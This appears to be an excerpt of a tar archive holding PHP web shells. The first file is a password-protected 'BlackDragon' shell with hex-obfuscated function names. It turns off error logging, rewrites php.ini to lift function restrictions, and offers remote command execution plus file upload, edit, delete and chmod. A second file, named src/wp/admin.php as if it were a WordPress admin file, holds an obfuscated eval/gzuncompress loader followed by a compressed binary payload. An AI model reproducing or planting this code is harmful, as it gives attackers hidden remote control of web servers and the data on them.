        "676574686F737462796E616D65", # [19]
        "7368656C6C5F65786563", # [20]
        "53797374656D20496E666F726D6174696F6E", # [21]
        "6469726E616D65", # [22]
        "64617465", # [23]
        "6D696D655F636F6E74656E745F74797065", # [24]
        "66756E6374696F6E5F657869737473", # [25]
        "6673697A65", # [26]
        "726D646972", # [27]
        "756E6C696E6B", # [28]
        "6D6B646972", # [29]
        "72656E616D65", # [30]
        "7365745F74696D655F6C696D6974", # [31]
        "636C656172737461746361636865", # [32]
        "696E695F736574", # [33]
        "696E695F676574", # [34]
        "6765744F776E6572", # [35]
        "6765745F63757272656E745F75736572" # [36]
    ];

for ($i = 0; $i < count($a); $i++) {
  $f[$i] = hex($a[$i]);
}

$f[1]();
$f[2](0);
$f[31](0);
@$f[32]();
@$f[33]('error_log', null);
@$f[33]('log_errors', 0);
@$f[33]('max_execution_time', 0);
@$f[33]('output_buffering', 0);
@$f[33]('display_errors', 0);

$password = "N@GAHitamDariT@D1";

if (!isset($_SESSION['authenticated'])) {
    if (isset($_POST['password'])) {
        if ($_POST['password'] === $password) {
            $_SESSION['authenticated'] = true;
        } else {
            echo '<!DOCTYPE html><html><head><title>Login</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"></head><body class="bg-dark text-light"><div class="container"><div class="row justify-content-center mt-5"><div class="col-md-4"><div class="card bg-dark"><div class="card-body"><h4 class="text-center">Wrong Password</h4><form method="post"><div class="mb-3"><input type="password" name="password" class="form-control" placeholder="Password"></div><button type="submit" class="btn btn-outline-light w-100">Login</button></form></div></div></div></div></div></body></html>';
            exit;
        }
    } else {
        echo '<!DOCTYPE html><html><head><title>Login</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"></head><body class="bg-dark text-light"><div class="container"><div class="row justify-content-center mt-5"><div class="col-md-4"><div class="card bg-dark"><div class="card-body"><h4 class="text-center">Enter Password</h4><form method="post"><div class="mb-3"><input type="password" name="password" class="form-control" placeholder="Password"></div><button type="submit" class="btn btn-outline-light w-100">Login</button></form></div></div></div></div></div></body></html>';
        exit;
    }
}

$r0 = $_SERVER['DOCUMENT_ROOT'];

# php.ini Auto Create
$b0 = fopen($r0.'/php.ini', 'w');
fwrite($b0, "safe_mode = OFF\ndisable_functions = NONE");
fclose($b0);

$xqv = ""; // blackdragon
  
# LogOut Option
if(isset($_GET["logout"])) {
  session_destroy();
  echo '<script>window.location="?";</script>';
}

function fsize($file) {
  $a = ["B", "KB", "MB", "GB", "TB", "PB"];
  $pos = 0;
  $size = filesize($file);
  while ($size >= 1024) {
    $size /= 1024;
    $pos++;
  }
  return round($size, 2)." ".$a[$pos];
}

function hex($str) {
  $r = "";
  $len = (strlen($str) - 1);
  for ($i = 0; $i < $len; $i += 2) {
    $r .= chr(hexdec($str[$i].$str[$i + 1]));
  }
  return $r;
}

function flash($message, $status, $class, $redirect = false) {
  if (!empty($_SESSION["message"])) {
    unset($_SESSION["message"]);
  }
  if (!empty($_SESSION["class"])) {
    unset($_SESSION["class"]);
  }
  if (!empty($_SESSION["status"])) {
    unset($_SESSION["status"]);
  }
  $_SESSION["message"] = $message;
  $_SESSION["class"] = $class;
  $_SESSION["status"] = $status;
  if ($redirect) {
    header('Location: ' . $redirect);
    exit();
  }
  return true;
}

function clear() {
  if (!empty($_SESSION["message"])) {
    unset($_SESSION["message"]);
  }
  if (!empty($_SESSION["class"])) {
    unset($_SESSION["class"]);
  }
  if (!empty($_SESSION["status"])) {
    unset($_SESSION["status"]);
  }
  return true;
}

if (isset($_GET['dir'])) {
  $path = $_GET['dir'];
  $f[13]($_GET['dir']);
} else {
  $path = $f[12]();
}

$path = $f[14]('\\', '/', $path);
$exdir = $f[15]('/', $path);

function getOwner($item) {
	if (function_exists("posix_getpwuid")) {
		$downer = @posix_getpwuid(fileowner($item));
		$downer = $downer['name'];
	} else {
		$downer = fileowner($item);
	}
	if (function_exists("posix_getgrgid")) {
		$dgrp = @posix_getgrgid(filegroup($item));
		$dgrp = $dgrp['name'];
	} else {
		$dgrp = filegroup($item);
	}
	return $downer . '/' . $dgrp;
}

if (isset($_POST['newFolderName'])) {
  if ($f[29]($path . '/' . $_POST['newFolderName'])) {
    $f[16]("Create Folder Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Create Folder Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
  if ($f[4]($_POST['newFileName'], $_POST['newFileContent'])) {
    $f[16]("Create File Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Create File Failed", "Failed", "error", "?dir=$path");
  }
}

if (isset($_POST['newName']) && isset($_GET['item'])) {
  if ($_POST['newName'] == '') {
    $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  }
  if ($f[30]($path. '/'. $_GET['item'], $_POST['newName'])) {
    $f[16]("Rename Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Rename Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
  if ($f[4]($path. '/'. $_GET['item'], $_POST['newContent'])) {
    $f[16]("Edit Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Edit Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
  if ($_POST['newPerm'] == '') {
    $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  }
  if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
    $f[16]("Change Permission Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Change Permission", "Failed", "error", "?dir=$path");
  }
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
  if (is_dir($_GET['item'])) {
    if ($f[27]($_GET['item'])) {
      $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
    }
  } else {
    if ($f[28]($_GET['item'])) {
      $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
    }
  }
}
if (isset($_FILES['uploadfile'])) {
  $total = count($_FILES['uploadfile']['name']);
  for ($i = 0; $i < $total; $i++) {
    $mainupload = $f[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
  }
  if ($total < 2) {
    if ($mainupload) {
      $f[16]("Upload File Successfully! ", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
  }
  else{
    if ($mainupload) {
      $f[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
  }
}

$dirs = $f[18]($path);

?>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
  <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
  <title><?= $_SERVER['SERVER_NAME'] ?>&#58;<?= $_SERVER['SERVER_PORT'] ?></title>
</head>

<body class="bg-dark text-light">
  <div class="container-fluid">
    <div class="py-3" id="main">
      <div class="box shadow bg-dark p-4 rounded-3">
      	<div class="info mb-3">
        	<i class="fa fa-server"></i>&ensp;<?= $f[0]() ?><br>
        	<i class="fa fa-microchip"></i>&ensp;<?= $_SERVER['SERVER_SOFTWARE'] ?><br>
        	<i class="fa fa-satellite-dish"></i>&ensp;<?= !@$_SERVER['SERVER_ADDR'] ? $f[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?>
        </div>
        <div class="breadcrumb">
          <i class="fa fa fa-folder pt-1"></i>&ensp;<?php foreach ($exdir as $id => $pat) : 
						if ($pat == '' && $id == 0):
					?>
					<a href="?dir=/" class="text-decoration-none text-light">/</a>
					<?php endif; if ($pat == '') continue; ?>
					<?php if ($id + 1 == count($exdir)) : ?>
					<span class="text-secondary"><?= $pat ?></span>
					<?php else : ?>
					<a href="?dir=
					<?php
					for ($i = 0; $i <= $id; $i++) {
						echo "$exdir[$i]";
						if ($i != $id) echo "/";
					}
					?>
					" class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span>
          <?php endif; ?>
          <?php endforeach; ?>
          <a href="?" class="text-decoration-none text-light">&nbsp;[ HOME ]</a>
          <a href="?logout" class="text-decoration-none text-light">&nbsp;[ LOGOUT ]</a>
        </div>
        <div class="d-flex justify-content-between">
          <div class="p-2">
            <form action="" method="post">
              <div class="row">
                <div class="col-md-9 mb-3">
                  <input type="text" class="form-control form-control-sm" name="command" placeholder="Command">
                </div>
                <div class="col-md-3">
                  <button type="submit" class="btn btn-outline-light btn-sm">Exec</button>
                </div>
              </div>
            </form>
          </div>
          <div class="p-2">
            <form action="" method="post" enctype="multipart/form-data">
              <div class="row">
                <div class="col-md-9 mb-3">
                  <input type="file" class="form-control form-control-sm" name="uploadfile[]" multiple id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload">
                </div>
                <div class="col-md-3">
                  <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
                </div>
              </div>
            </form>
          </div>
        </div>
        <div class="container" id="tools">
          <?php if (isset($_POST['command'])) : ?>
          <div class="row justify-content-center">
            <pre><?= $f[20]($_POST['command']) ?></pre>
          </div>
          <?php endif; ?>
          <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?>
          <div class="row justify-content-center">
            <?php if ($action == 'rename' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label">New Name</label>
                <input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>">
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php elseif ($action == 'view' && isset($_GET['item'])) : ?>
            <div class="mb-3">
              <label for="name" class="form-label">File Name : <?= $_GET['item'] ?></label>
              <textarea name="newContent" rows="10" class="form-control" disabled=""><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
              <br>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </div>
            <?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                <input type="text" class="form-control" name="newPerm" value="<?= $f[11]($f[10]('%o', $f[6]($_GET['item'])), -4); ?>">
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php endif; ?>
          </div>
          <?php endif; ?>
          <div class="row justify-content-center">
            <div class="collapse" id="newFolderCollapse" data-bs-parent="#tools" style="transition:none;">
              <form action="" method="post">
                <div class="mb-3">
                  <label for="name" class="form-label">Folder Name</label>
                  <input type="text" class="form-control" name="newFolderName" placeholder="BlackDragon">
                </div>
                <button type="submit" class="btn btn-outline-light">Submit</button>
              </form>
            </div>
            <div class="collapse" id="newFileCollapse" data-bs-parent="#tools" style="transition:none;">
              <form action="" method="post">
                <div class="mb-3">
                  <label for="name" class="form-label">File Name</label>
                  <input type="text" class="form-control" name="newFileName" placeholder="blackdragon.php">
                </div>
                <div class="mb-3">
                  <label for="name" class="form-label">File Content</label>
                  <textarea name="newFileContent" rows="10" class="form-control" placeholder="Hello World - BlackDragon"></textarea>
                </div>
                <button type="submit" class="btn btn-outline-light">Submit</button>
              </form>
            </div>
          </div> 
        </div>
        <div class="table-responsive">
          <table class="table table-hover table-dark text-light">
            <thead>
              <tr>
                <td style="width:35%">Name</td>
                <td style="width:10%">Type</td>
                <td style="width:10%">Size</td>
                <td style="width:13%">Owner/Group</td>
                <td style="width:10%">Permission</td>
                <td style="width:13%">Last Modified</td>
                <td style="width:9%">Actions</td>
              </tr>
            </thead>
            <tbody class="text-nowrap">
              <?php
                foreach ($dirs as $dir) :
                  if (!is_dir($dir)) continue;
              ?>
              <tr>
                <td>
                  <?php if ($dir === '..') : ?>
                  <a href="?dir=<?= $f[22]($path); ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
                  <?php elseif ($dir === '.') :  ?>
                  <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
                  <?php else : ?>
                  <a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light"><i class="fa fa-folder"></i> <?= $dir ?></a>
                  <?php endif; ?>
                </td>
                <td class="text-light"><?= $f[8]($dir) ?></td>
                <td class="text-light">-</td>
                <td class="text-light"><?= $f[35]($dir) ?></td>
                <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
                <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
                <td>
                  <?php if ($dir != '.' && $dir != '..') : ?>
                  <div class="btn-group">
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a><a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
                  </div>
                  <?php elseif ($dir === '.') : ?>
                  <div class="btn-group">
                    <a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-folder-plus"></i></a>
                    <a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-plus"></i></a>
                  </div>
                  <?php endif; ?>
                </td>
              </tr>
              <?php endforeach; ?>
              <?php
                foreach ($dirs as $dir) :
                  if (!is_file($dir)) continue;
              ?>
              <tr>
                <td>
                  <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=view" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a>
                </td>
                <td class="text-light"><?= ($f[25]('mime_content_type') ? $f[24]($dir) : $f[8]($dir)) ?></td>
                <td class="text-light"><?= $f[26]($dir) ?></td>
                <td class="text-light"><?= $f[35]($dir) ?></td>
                <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
                <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
                <td>
                  <?php if ($dir != '.' && $dir != '..') : ?>
                  <div class="btn-group">
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
                    <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
                  </div>
                  <?php endif; ?>
                </td>
              </tr>
              <?php endforeach; ?>
            </tbody>
          </table>
        </div>
        <div class="text-light">&#169; BlackDragon <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script></div>
      </div>
    </div>
  </div>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.4.0/dist/sweetalert2.all.min.js"></script>
  <script>
  <?php if (isset($_SESSION['message'])) : ?>
        Swal.fire(
          '<?= $_SESSION['status'] ?>',
          '<?= $_SESSION['message'] ?>',
          '<?= $_SESSION['class'] ?>'
        )
  <?php endif; clear(); ?>
    function deleteConfirm(url) {
      event.preventDefault()
      Swal.fire({
          title: 'Are you sure?',
          icon: 'warning',
          showCancelButton: true,
          confirmButtonColor: '#3085d6',
          cancelButtonColor: '#d33',
          confirmButtonText: 'Yes, delete it!'
      }).then((result) => {
          if (result.isConfirmed) {
            window.location.href = url
        }
      })
    }
    function jscopy() {
      var jsCopy = document.getElementById("CopyFromTextArea");
      jsCopy.focus();
      jsCopy.select();
      document.execCommand("copy");
    }
  </script>
</body>
</html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                       src/wp/admin.php                                                                                    0000644                 00000521156 15240700263 0007573 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
$passhash = '9bd74360b120b752847479dbf10ce8a3';
$userSh = 'admin';
$vmzb='subs'.'tr';$ngrK='st'.'r'.'_repl'.'ace';$xyPn='exi'.'t';$eBWD='fi'.'le_get'.'_conten'.'ts';$tqpz='gzuncomp'.'ress';eval($tqpz($ngrK('tusizcofhj',">",$ngrK('osmvywndbc',"<",$vmzb($eBWD( __FILE__ ),-172352)))));$xyPn(0);
?>
xZ.w8u@F6e4fT(ZkrrA}扈l'=i8i?{7?WV̯zֿK_pR7ɿ}n_?eٿ?_W._/ßǺ'y˿7w)Nۿ?/{Qawk?N8o?|ۗ1?r?ˇ_B돿_[oF폿AoaOQu?.}wp`=ߧ?7?Yw/?/o_yg/ދ^k31byo8䵃[_듦g:XSEoo)=tusizcofhjW^?9ǿ'Pؿc\gj+Կleeg:p췥@?~&?s%{#춴?Uқ\Ѷ^_b.skosk/7$9菷~1Gys3F?(F_otusizcofhj4ԭI~gǿYo5?YooXGt4qrO0}cȏQ -Cu֮nMECulP8feN4E0kDJ"HLVs&G@S[Ķ
f+t%I1zSJf̢_,	+ o9gYtusizcofhjҞ-K3Ns:GޥJnJZODoОUv/K5Jkˆ7H:1P)88"C,kj~_۷P]~nD.v`tW۹p͊җAxefٜjtusizcofhjivplX'd1|!z3q,ݞ_;CQosmvywndbcsW[c)}[W_gĖn-3I\cQi3f8TtQK(١}O5ȰZ\BEDI,osmvywndbc^ޜgISaQ1osmvywndbcұEEtusizcofhjI$ZW%*OϑfDۍQ!k3R?veAb}qp6`/哟mn._.bYAa(osmvywndbc%W;`Z)vH*(DyjF#&кn'!
2?T_ʯ5ݭJ1H1ѣCXu K];1ӗ#OWi%-r4Bd$-@O"V3PdD:*ĳ98P&'{~gvH|ahwS}EV;|4PG7$j]_Bj9+=O'AR0ޚ9b+QIC	ӥbLc7XɫQ0sQ^*]k	5/OϷosmvywndbcrƷr6kcݯԾxփ?vosmvywndbc;@{g#ǖȷX~A!H|/ $
^bh(
[$ܥykx+Rpvn!ybmթl6c)ZpWK ާ\RL&Go۝㵻^Dv҃-,h/*A}'9m!}=/$qT184qsyg
˞osmvywndbc0N6tusizcofhjz[tƯgtusizcofhjMzd){!~8bHca1\'Ć̗ctݶkJQ-5Cf_DOxr$ U;WŝdG.X}_;,hm==SSӾo_Ky-Op$k̗g1cGjp_SIDnQDtoЄ9ɹEN6-0d9fqhXIA[F鱤Vײm" {~_O[k
 #ذ 1iYhF*Jo.0I+g( X֘ L'&H W}QLO=vazխY*4e\6X7XE0ͻR'1]\AH*(:1q'|j﫿΋8iq́sw c(1Qp5%B@uqdh0_K!T+OMFaU_y %}tDt;;}!tusizcofhjotusizcofhjxֆgefCiQPEY
\[uopB6`޽DKtusizcofhj˻O}x+w|jzZ!aojkq8-3K#vjBK"ۊmu8"0ϐ#$;ʖ
b^Id1`ڽ٤(g3* 	R:Tosmvywndbc$6֕_!߁ž!R'7x-=NULz:(b+V=
z`mSC{5Y
;p_ᔪp`aRe4!~٫_z9Mâk&fZٲ
٪)F6םy~osmvywndbc+Je^zcFF3ئ}Gosmvywndbc媻m ]tusizcofhjCbbr`tKJBj}z'
R@,N_svEKepuEi9zƏ₧{x^5c"fQ/n_,ۥN9+JjjS/~%O /7]M?osmvywndbccEq0:MuC@:݄	#u2ǎX_zwyҰ	γEXyqʠV0HPAWiLmnKLo٣osmvywndbcTHi]qsdUuzLG,fDK{:C» hC_顆I؏kip'Mف2qVjbjds4QhZjv=qtusizcofhjDYI,.l4n:Y~2Lnjϭ|"i,&Mh~M9b4*tׅhT۞/PV9+JQV+UkOo0?0m=F%1!ZzRҊbWcqJD$MWpVI4Wf-,W󣆷6FIi}Һo̰PtusizcofhjZ.,L8Ne_W
b^}@|qpV#e=@ڶr	QY
{[hZ&_ ہ	wsg~ڙJpHfTosmvywndbc3מӤqTCuLjt7;-qZlv*9
`p(oNҽ;]wvmTf+`I(Bʃ6py}K=x8Uڄ&,
K{/[%2A eȭJ_cYǄùgfT,Q0av?=;p0]!TX,4u.bM5josmvywndbcp7펲셈k|*8y\}۬*ɋ,ݨk=Ftusizcofhj]d7s`VnR;,\?U?ǆ_etusizcofhj}(jGosmvywndbc5fE972kJg{Ĉy6cw%\0i~ʆxktusizcofhjtusizcofhj:4ȕ"1ɧ=1]ŒLZ+Nrxפm'˳MاFR~^	;(Rq(̏:g't#;L6%1)
T2C6dIۢɒkw= O|ډaE8{C'v[tusizcofhjي/%K=nDъ24`(Fq,kFsFi-+-/xrSo@͉Н`(eC(choBw3|!R T/Ao:y`YA0R@#rtusizcofhjtW7+1 wQ۾2ickҰ9rٴ9EkIѧ ǪcQ6`fwLwo}΅6~
Z);SWvBnkFW۲ L_?\U1 1=0%r~J'!pp,sIn}tSs~&[Bw% xg%ۨj窇pJ9e!@[ӏ\R9DoLܞ4̀hxx/ȋT`D~4	tusizcofhjE?ZSD|/jg*~80^ULH'ԀH_osmvywndbcDnbeҾ4lBA!y=~_gV.mXITE˪_EPÜivih3EWQ;KTU!~[)ۃǲʂdڶ!5᱓4?BuosmvywndbcbUp'2Q"2Eg|/u%@19
1F8ًO##.nY%*F,osmvywndbcw=wN)P|}ݐ.&k_'u~ma*ܕ\yIԶ0P06]0^-(A$r@.zƷfNe&nL
7o ou00'+k9(Ck҇rktVlySĝ$&6vnkxҩosmvywndbcȌ6=)ruR=&DT-y԰e%9GI!~g.wm;:d.X𺏌q0aR7p$6M䫌?Bg`*7xMC"bf؇YpX(~V1;FQE?[Nawqsf_S4@[UrEgHO]J)pٍR&n*UBL[z(k(Yձ]jZ?؝71?Do{~0̸o@M `tusizcofhj}zR6X⥶)Op,J3Q$Wi-Cfj9#\Qcb1Q8|TIE}lqkP{^e)S[Ɉc1zTrW}t{^.&w8bo9KD(*MQ~G,ӛ8ݚBS\Z KaJ x$Avn$Wf'a@|`6.L`Ҍ,sW~b \IȦUp|xKCBpr$^ԓ(U9WX[uh`"Zo8V9gQS%tusizcofhj}Se-/iϼeם{&L~0~J0P c{L;|2:2VW:O	QuUƇ/IH#ͬ+8zLtusizcofhjBosmvywndbc lUOu ,}@).r~o9XUx	^rݺpGI)fppi}k,ENۉZCsӋ%UD[_C'A]pUk?h@0q%v8c^2B幵XV8	#mضߎ7qNֻ)D:+@6Ԫosmvywndbc snȖosmvywndbc 5E]hosmvywndbc|E\85R/Ǥ3&\l5 h"} NZkIU+ܗ:tmũ!LɰuCf@4|
ڐ)hXEmV|ӹti3߯5:
Պl`!osmvywndbc}FIx;jJBίtWRx_E92ZfRZן/	Fg^G÷:Wosmvywndbcτ⍂#`sG8|Tb=|.`0NۚosmvywndbcY+-aosmvywndbc
s]#ɢ[&n&gtusizcofhjض1jQe%Y-F:|S\^2Z#E_ҳ,_62?{7o?"ϑW}UzTosmvywndbc6}od"5~ PM͍H$tusizcofhjk 2tusizcofhjW9^7HMŋ|J&꼧3rvt'X){e b( :W-M@Q b8g,òM#çh7tPVsUghVu?B7q߰HcD4a/chBVx*HYQaU̳L\W_{BG.FD"Yuڷ?st(0RIosmvywndbcR_9jQ\g7,=[dutusizcofhjպ6WYa,6.R#{a}DNV9Lh5qG'si$ MHwJis"[vS["GrÅ,\0uo,@)dctqx1dyhѨ{wBOl1ҪK *9=?nlޫ 8:ǼO&V?P+?
_rJjJ~\벵Z@.[ EgORn27L
,Dosmvywndbc5}B(:̂Ѳگ^5j`CBA
*tusizcofhj|~^bOtusizcofhj1=~pjkIdP\+O|kX"t{(j|Zhm7=̻K&i.u!(#$vY8l #gV˗~?Nq%&e}^vdN
,(Z6[z]`lqaȗ#l-R8osmvywndbc`4qfosmvywndbc'uΚHUR{.9밠O4VՉrpmstusizcofhjk^/f/@X:J Bʎ	bl5osmvywndbcO66__͛W]CϐWb`	V+Z4Dp
?t=.h"mR_.1^-FfQ$BEmttusizcofhjSLCWu`X]q^~;pFCQl`R;&	_n]a߾ϳtusizcofhj.%DUWfTosmvywndbcߨg?0iS\JrOTI=7vIxe$f˥?tSWXrUfVN`Ӂڝy{KGl{V)y)ߖMK;|o\4,ƫR@osmvywndbcQ4s"3Z6tZ߻z=Lr[J6н%bvv&X$Z_ʩ=luF~r\KiOp^gDtnں,.=O	)$s/M|\LRϨhF|9հosmvywndbc5%b}~ŖzGg%`q
N$v7ټ`8}믱P?5(YaosmvywndbcӌTPw%p(ʘMr^11xϲGx_G	-Na?u3tusizcofhj%~:H!@iБ0MƇb["x)=wpKQm4윩ZKr^X(ʘVmaT26osmvywndbc6=%#y=oA	5Jqwyyꪏ[osmvywndbcB,U*xP$VәyUl`r^=-jOsހ7φ*
]thdefW	sZtusizcofhjosmvywndbc^er-X`
k7osmvywndbc lRvD!Fq(j3o-%Kd:A g^[F&jzT8
UUG\98tusizcofhjtusizcofhj~:#ѐm&yk{4P"x}*fc.c_ns9kA桮Lr4ۻ!*MBG~	$"y[Y1c^D=;PI7JtusizcofhjыLzMyk+s{9)l)Y:\*oyxM"Ccse9gti%Bͱ6&oOdK;S#T3/CCWVN@zؕiO{}?Fi*NĜ!ޡ 2X̆1Ud*H/&X"K.8t/rF#^bÁL`ݯ]H/_h	O5O mtusizcofhjº/2GAox!$dH*ݖFh*jjELe8.ũe#{_0~WULي1&OcY1d9iLA$n)
PBxRs}&Fn9ɼVD(CH;l407:gTL9`uXe1\a}߹F2)9J7nfƄ~3.,lڟhI7p:Tb,vwqH0c`ꪩ5d"$''s2'-uk0osmvywndbcrkEDk6Dϲb:zWqtusizcofhj{5`j	.Z~)4osmvywndbc`G*bGyRe%,"!-zJposmvywndbcx:	?07hQf:5H$`OAhM˰iK]|Hm,2TT##ڂvpxKmNW+5BTgЧZ(Eb6٢T".i-4vwD)RS&	9BsbHhCסHNtusizcofhj7Q*"B6`-}J	\BHƎx%3+"iZ8rmzmg?@ 1tusizcofhjJ1	A͵8LWƴnpöN$\)c@WYc5"F0Qq"Axf,V3PGfY.4rw}In?%TcJo$+UBbYט4	xӿڭ!S{r.m}J(M;yGC! Av8?c5jtj[էosmvywndbcwk\V:4:bhVq$-?%fyqq}]ۏܐNP05A\Q2|Ǆ/B@BȡG=CK23["^,I?i.osmvywndbc`eObh~QM7)XItusizcofhjR~QH}(IQ"SK'贞
TeaF4~(yv&Tp\v(Ky/BA^^ǯGF	La|O:92Bm7ώ_ēҥ:k8*'?G}QoB.jn9bArC#͑m-5WXfM}+KJ0$}+W2\l GSkN.ܵ{U7Nh}J:t0(? @I]`ktusizcofhj//_$]l'*kV$`Rh~F\2kF}ZЃosmvywndbc=߶Z	B/=="7ȔAKcOTt A-+~7d/oJ+{hY9nӐEYPX3i T ln.L)E`l}w?1	aˠ\^~!osmvywndbcve랠[v&Ed8XןiM75A# ;'q}RN	"Ԗ􃋭^v7㨜+qJ\TKD&pV97_ϜG=TY^D8osmvywndbcW5v^pjǩ]^=tusizcofhj"%^T끓LP-7:5G )Yj~9,vޥBLS0لyۭ{x "X4қi;/osmvywndbc0Rۺy\jj/CM[#3n6j*0"gllpA.7^uN/YIPd@,UM!
ݮ7w`^|[ԫWrw࿊1kc/`d)[{̫7 foWfω gĎRLX*DN8fk]cՄA@Bɀ3iϋL)~0uSfX%\vN5~j8$K^#% w%be7cw\&(*xuM+Pt:@'qE:8"'כ$g
